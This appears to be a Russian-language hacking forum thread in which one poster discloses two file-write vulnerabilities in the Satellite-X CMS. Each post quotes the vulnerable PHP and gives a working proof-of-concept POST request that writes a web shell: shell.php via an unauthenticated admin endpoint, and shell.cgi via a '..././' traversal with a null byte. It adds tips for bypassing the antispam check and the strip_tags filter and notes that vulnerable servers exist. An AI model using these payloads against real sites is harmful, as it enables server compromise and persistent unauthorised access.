Старый 09.07.2010, 16:02   #1
Qwazar
 
Регистрация: 09.07.2010
Сообщений: 376
Репутация: 154
По умолчанию Satellite-X

Загрузка произвольных файлов
Версия: 4.0.2, возможно и более поздние 4.0.3 и 4.1
Требования: Нет

Уязвимый код:
admin\include\actions.php (К файлу возможен прямой доступ, проверки находимся ли мы в админке - нет.)
PHP код:
...
$action=$_POST['action'];

...

elseif (
$action=="savefile"&&isset($_POST['filename'])&&isset($_POST['path'])) {
        
//print_r($_POST);
        
$filename=str_replace("../","",$_POST['filename']);
        
$data="../".$_POST['path'];
        
$path=$data."/".$filename;

        if(isset(
$_POST['newfile'])&&$_POST['newfile']=='true'){
            
$path .=".txt";
            if(
is_file($path)){
                while(
is_file($path)) {
                    
$newfilename $filename."_".mt_rand(1111,9999);
                    
$data="../".$_POST['path'];
                    
$path=$data."/".$newfilename.".txt";
                }
            }
        }

        
$title=stripslashes(trim($_POST['title']));
        
$tag=stripslashes(trim($_POST['tag']));
        
$anons=stripslashes(trim($_POST['anons']));
        
$content=stripslashes(trim($_POST['text']));

        
$result="$title\n";
        
$result.="$tag\n";
        
$result.="$anons\n";
        
$result.="$content\n";

        
//echo $result;
            //die($path);
        //die;
        
if(is_writeable($path)||(!file_exists($path)&&is_writeable(dirname($path)))) {
            
$f=fopen($path,"w");
            
fputs($f,$result);
            
fclose($f);
        }
        else
            die(
"Не удалось сохранить файл $path");


    } 
PoC:

Код:
POST http://site/admin/include/actions.php
action=savefile&filename=shell.php&path=../&title=<?php phpinfo(); ?>
Дорк вычислить не удалось, уязвимые сервера есть, но на многих админка отсутствует/переименована.
Qwazar вне форума   Ответить с цитированием
Старый 09.07.2010, 16:02   #2
Qwazar
 
Регистрация: 09.07.2010
Сообщений: 376
Репутация: 154
По умолчанию

Arbitrary File Write
Версия: 4.0.2, возможно и более поздние 4.0.3 и 4.1
Требования: magic_quots_gpc = OFF

Уязвимый код:
\include\actions.php
PHP код:
    if($action=="img_comment"){
        
$d=date('d');
        if(
$_POST['f_spam']==$d&&$_CONF_COMMENT_FORM_ACTIVE){
            
$f_name=strip_tags($_POST['f_name']);
            
$url='http://'.strip_tags($_POST['f_url']);
            if (
preg_match('(^((ht|f)tp(s?)\:\/\/|~/|/)?([\w]+:\w+@)?([a-zA-Z]{1}([\w\-]+\.)+([\w]{2,5}))(:[\d]{1,5})?((/?\w+/)+|/?)(\w+\.[\w]{3,4})?((\?\w+=\w+)?(&\w+=\w+)*)?)',$url)){
                if(isset(
$_CONF_COMMENT_FORM_URL_MODE)){
                    if(
$_CONF_COMMENT_FORM_URL_MODE=="text")
                        
$user=$f_name." URL:$url ";
                    elseif(
$_CONF_COMMENT_FORM_URL_MODE=="nofollow")
                        
$user="<a href=\"$url\" rel=\"nofollow\">".$f_name."</a>";
                    elseif(
$_CONF_COMMENT_FORM_URL_MODE=="url")
                        
$user="<a href=\"$url\">".$f_name."</a>";
                    else
                        
$user=$f_name;
                }
                else
                    
$user=$f_name;
            }
            else
                
$user=$f_name;

            
$f_text=strip_tags($_POST['f_text']);
            
$f_text=nl2br($f_text);
            
$date=date("d.m.Y");

            
$result="";
            
$metka=Array("#user#","#comment#","#date#");
            
$vals=Array($user,$f_text,$date);
            
$txt.=str_replace($metka,$vals,$_CONF_BODY_BODY_COMMENT);
            
$body=$txt."\n";

            
$path=str_replace("../","",$_POST['f_art']);

            
AddFileA("img_comments/".$path.".txt",$body);

        }

    } 
PoC:
Код:
POST http://site/index.php
action=img_comment&f_spam=19&f_art=..././shell.cgi%00&f_name=a&f_url=&f_text=EVIL CODE
Где f_spam=19, вместо 19 подставить текущий день месяца. (Антиспам)
Для перехода на один уровень директории выше, использовать: ..././

Особенности: Всю малину портит strip_tags(), который не даёт записать в файл <? , поэтому в качестве кода шелла можно использовать только языки не требующие открывания каких либо тегов.
Qwazar вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2020, Jelsoft Enterprises Ltd. Перевод: zCarot